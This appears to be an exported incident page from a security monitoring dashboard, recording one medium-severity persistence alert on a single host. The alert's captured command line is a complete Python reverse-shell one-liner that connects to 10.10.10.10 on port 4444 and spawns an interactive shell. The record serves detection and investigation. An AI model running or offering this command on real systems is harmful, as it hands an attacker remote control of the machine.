Back to list

Medium CINC-20251220-BE3D0689 new

Aggregate ID: aggind:b4aeee57c4b841bc95cb853f0aca95e1:4354030857

Incident Overview

Incident ID CINC-20251220-BE3D0689
Severity Medium (70)
Status new
Alert Count 1
Host Count 1

Timeline

First Seen 2025-12-13 17:21:34
Last Seen 2025-12-13 17:21:34
Duration 0d 0h 0m
Created 2025-12-20 13:23
Updated 2026-01-13 15:14

Kill Chain Analysis

Rec... Ini... Exe... Per... Pri... Def... Cre... Dis... Lat... Col... Com... Exf... Imp...
Observed Tactics:
Persistence
Techniques:
External Remote Services

Affected Hosts (1)

localhost.localdomain

Related Alerts (1)

Severity Status Hostname Description Tactic Command Line Time
High new localhost.localdomain The activity appears to be related to an adversary establishing persistence. The host may already be compromised and the activity should be investigated further to find the source. Persistence bash -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' 12-13 17:21